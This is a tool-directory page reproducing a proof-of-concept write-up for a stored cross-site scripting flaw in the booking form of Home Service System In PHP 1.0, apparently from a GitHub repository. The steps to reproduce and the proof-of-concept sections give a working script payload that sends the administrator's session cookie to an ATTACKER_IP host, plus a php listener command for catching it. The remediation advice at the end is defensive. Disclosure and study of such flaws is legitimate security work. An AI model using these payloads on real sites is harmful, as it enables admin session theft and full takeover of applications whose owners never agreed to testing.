Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-7089-XSS — Proof-of-concept for CVE-2026-7089, a stored XSS in Home Service System PHP 1.0 allowing unauthenticated admin session hijacking via booking form. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-7089-xss
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubxmyronn/cve-2026-7089-xss

CVE-2026-7089-XSS

Proof-of-concept for CVE-2026-7089, a stored XSS in Home Service System PHP 1.0 allowing unauthenticated admin session hijacking via booking form.

View Repository
25 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

home-service-system-unauth-stored-xss-admin-takeover

Vulnerability Details

FieldDetails
Vendorcode-projects.org
ProductHome Service System In PHP
Version1.0
Vulnerability TypeStored Cross-Site Scripting (XSS)
CWECWE-79
Authentication RequiredNo
AuthorImad Alvi

Description

A Stored Cross-Site Scripting (XSS) vulnerability exists in the booking.php file of Home Service System In PHP 1.0. Unauthenticated users can inject malicious JavaScript payloads through the booking form fields. The unsanitized input is stored in the database and rendered without output encoding in the admin panel (admin.php), where it executes in the administrator's browser context.

This allows an unauthenticated attacker to steal the admin session cookie, perform actions on behalf of the administrator, or fully compromise the admin account.


Affected Component

  • File: booking.php
  • Parameters: fname, lname
  • Sink: admin.php → Manage Booking

Steps to Reproduce

  1. Navigate to the booking page as an unauthenticated user: http://TARGET/homeservices/booking.php?provider=

    Screenshot 2026-04-08 221145
  2. In the First Name field, inject the following payload:

root@kitploit:~
<script>new Image().src="http://ATTACKER_IP:PORT?c="+document.cookie</script>
  1. Fill remaining fields with any valid data and submit the booking.

  2. Start a listener on your attacker machine:

root@kitploit:~
php -S 0.0.0.0:PORT
  1. Wait for the administrator to visit the Manage Booking section in admin.php.

  2. The payload executes in the admin's browser, exfiltrating the session cookie to your listener.

    Screenshot 2026-04-08 221158
Screenshot 2026-04-08 221214

Proof of Concept

Payload (Alert)

root@kitploit:~
<script>alert(1)</script>
Screenshot 2026-04-08 220538

Payload (Session Hijack)

root@kitploit:~
<script>new Image().src="http://ATTACKER_IP:7979?c="+document.cookie</script>

Impact

This vulnerability allows a remote unauthenticated attacker to fully compromise the application.

An attacker can:

  • Execute arbitrary JavaScript in the administrator's browser
  • Steal the admin PHPSESSID session cookie
  • Hijack the admin session and gain full administrative access
  • Perform any administrative action (manage bookings, providers, etc.)

This results in complete application compromise.

Remediation

  • Apply htmlspecialchars() with ENT_QUOTES on all user-supplied input before storing or rendering
  • Implement a Content Security Policy (CSP) header
  • Validate and sanitize all form inputs server-side

References

  • Home Service System In PHP - code-projects.org
Download Tool